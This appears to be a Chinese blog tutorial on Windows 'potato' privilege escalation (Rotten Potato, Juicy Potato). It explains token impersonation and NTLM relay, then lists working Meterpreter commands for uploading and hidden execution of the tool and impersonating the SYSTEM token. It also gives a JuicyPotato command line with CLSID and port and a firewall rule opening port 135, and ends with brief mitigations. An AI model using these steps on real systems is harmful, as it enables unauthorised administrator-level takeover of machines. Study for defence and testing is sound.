当前位置: 首页 > article >正文

土豆家族提权

令牌(Token)是指系统中的临时密钥,相当于账户和密码,用于决定是否允许当前请求及判断当前请求是属于哪个用户的,有了令牌就可以在不需要密码的情况下访问,伪造令牌攻击的核心是Kerheros协议, 是一种网络认证协议,它的最大特点是随机性和不可预测性正常是无法猜解而出,生成的令牌将持续存在干系统中(除非系统重新启动)


土豆家族提权原理实际上是模拟高权限用户令牌

windows提权—烂土豆(RottenPotato)及Juicy Potato提权

烂土豆 令牌窃取MS16-075

烂土豆(Rotten Potato)提权是一个本地提权,只针对本地用户,不支持域用户,它重点是模拟令牌,我们最好已经获得了一个具有SeImpersonate权限或其他同等权限的账户,通过烂土豆程序快速模拟用户令牌来实现权限的提升

SeImpersonate权限是Windows操作系统中的一种安全权限,它控制了一个进程是否有权利以另一个用户的身份执行操作。具有SeImpersonate权限的进程可以模拟其他用户的身份,

漏洞原理
  • 欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端
  • 对这个认证过程使用中间人攻击(NTLM重放),为NT AUTHORITY\SYSTEM账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的
  • 模仿这个令牌。只有具有模仿安全令牌权限的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。

支持版本

Windows 7、8、10、2008、2012

检查是否具有Selmpersonate权限,但是我计算机内是没有的

whoami / priv
whoami / all

出现这种特权才代表存在

漏洞利用

如果得到机器shell经过上面检测操作,发现具有SeImpersonatePrivilege权限这个必备条件后,首先列出可用令牌,会输出两种类型的令牌,存在模拟令牌就可以利用土豆程序快速模拟用户令牌来实现权限提升

  • Delegation Tokens(委派令牌)是指可以被传递给其他进程的令牌
  • Impersonation Tokens(模拟令牌)是指可以用于模拟其他用户身份的令牌
use incognito // 加载MSF获取令牌扩展

list_tokens -u  // 列出当前会话shell 可用令牌,会输出两种类型令牌

存在令牌后这个时候要把土豆程序上传到受害者磁盘下,如果前期已经有了Webshell那么自然是可以直接在远控工具内上传,也可以选择利用MSF上传,不选择上传路径会跟木马在同一个目录里 , 我这里是桌面上传的位置也是桌面,选择了路径那么就是指定路径

// 将本地的土豆程序potato.exe 上传到目标 

upload /root/home.exe  // 默认上传

upload /root/home.exe C:\目标路径\home.exe  // 指定上传

上传完成MSF命令去执行土豆提权程序,这里也是成功运行了这个进程,运行成功后查看令牌观察是否模拟成功

// execute" 是Meterpreter命令,用于在目标系统上执行命令或可执行文件

// "-cH" 是命令选项,其中:"-c" 表示将命令执行的输出显示在当前会话中。"-H" 表示以隐藏模式执行命令,即在目标系统上执行命令时不显示命令窗口。

// 执行文件地址,可以默认的可以是指定的

execute -HC -f potato.exe

生成令牌快速使用可以提权达到

// 查看令牌,在Impersonation 成功的话最后一行模拟到system的令牌

list_tokens -u 

impersonate_token "NT AUTHORITY\\SYSTEM" // 通过命令使用

getuid // 查看权限

多汁土豆

多汁土豆GitHub地址

烂土豆提权Juicypotato原理和利用 - 青澜Cyan

提权小神器-JuicyPotato多种应用场景详解 - J0o1ey

多汁土豆(JuicyPotato)的提权使用

漏洞原理
1. 我们本地账户权限为普通用户,但是以System权限加载COM请求,认证NTLM,不出意外认证失败
   普通用户无法越权使用System权限
   
2. 再以本地账户普通用户权限发起默认135端口请求认证NTLM;权限正常认证成功

3. 对上面两个认证NTLM操作数据包做拦截,将2成功数据包替换到1数据包认证,类似漏洞挖掘替换错误为True
   这样步骤1通过认证,得到System权限的token
   
4. 利用得到的Systenm权限创建进程
Juicy Potato 实现流程

漏洞利用

利用前提是本地账户具有SeImpersonateSeAssignPrimaryToken权限,必须二者有一种或者同时具备根据命令查看,不同权限工具命令参数不同,均不存在则无法提权

判断权限

whoami /all
whoami priv

----------------------------------------------------------------------

开启SeImpersonate权限 juicypotato的参数使用-t t

开启SeAssignPrimaryToken权限 juicypotato的参数使用-t u

均开启选择-t *

**均不存在无法提权**

用户具有上述权限可以做到

  • 本地管理员组成员和本地服务帐户
  • 由服务控制管理器启动的服务
  • COM基础结构启动的并配置为在特定帐户下运行的COM服务器

判断端口

判断发起认证的RPC(RPC(Remote Procedure Call)远程过程调用,是一种计算机通信协议,允许一个程序调用另一个地址空间(通常是另一台机器上)的过程)判断是否还是135如果被修改需要再次指定,Juicy Potato支持任意本地端口

netstat -abno // 列出系统上所有的网络连接信息,包括本地地址、外部地址、状态、PID(进程ID)以及应用程序的名称


// 如果端口修改使用如下命令指定RPC新的端

-n 9999

// 如果系统禁用RPC,提权需要找到另一系统能够以当前用户的权限进行远程RPC登录,工具参数使用 -k
// Windows默认配置下,允许135端口的入站规则即可进行远程RPC登录

netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow

选择可用**CLSID**[//]: # (CLSID在Windows操作系统中扮演着标识和定位特定对象类的重要角色)/端口

根据被提权机器操作系统选择对应的CLSID作为标识符 ,例如测试系统Server2012,选择CLSID {8BC3F05E-D86B-11D0-A075-00C04FB68820},使用对应的权限创建进程监听一个未被占用的端口进行提权

CLSID参考列表

土豆文件上传根据上文上传命令即可,或者Webshell上传; 执行成功即获取一个system权限shell 后续就是打开任务管理器,关闭explore任务,再开启explore任务即可得到一个system权限的桌面

// 配置CLSID和端口后最终参数如下 端口-l指定  clsid-c指定

JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D})
漏洞防范
  • 阻止攻击者获得SeImpersonate或者SeAssignPrimaryToken权限
  • 即使打好系统补丁
  • 升级到最新的windows系统

http://www.kler.cn/news/359255.html

相关文章:

  • pytorch安装GPU版本,指定设备
  • 8.扩散模型的未来---GPT及大模型(1)
  • Linux文件与fd
  • BERT的中文问答系统(羲和1.0)
  • 论文翻译 | OpenICL: An Open-Source Framework for In-context Learning
  • 鸿蒙NEXT开发-网络管理(基于最新api12稳定版)
  • 对BSV区块链下一代节点Teranode的答疑解惑(下篇)
  • 提升SQL技能,掌握数据分析
  • “敌人”追击状态的转换
  • 蒙特卡洛法面波频散曲线反演(matlab)
  • 【机器学习基础】全连接层
  • 【HarmonyOS NEXT】实现保存base64图片到图库
  • wordcloud 字体报错
  • 使用Java发送邮件的多种方案实现
  • 富格林:正规思路实现安全交易
  • 汽车管理系统——查询车辆厂商信息
  • 【学术会议论文投稿】ECMAScript标准:塑造现代Web开发的基石
  • jmeter中用csv data set config做参数化2
  • 读书笔记:《Redis设计与实现》之集群
  • 数据结构实验十一 图的创建与存储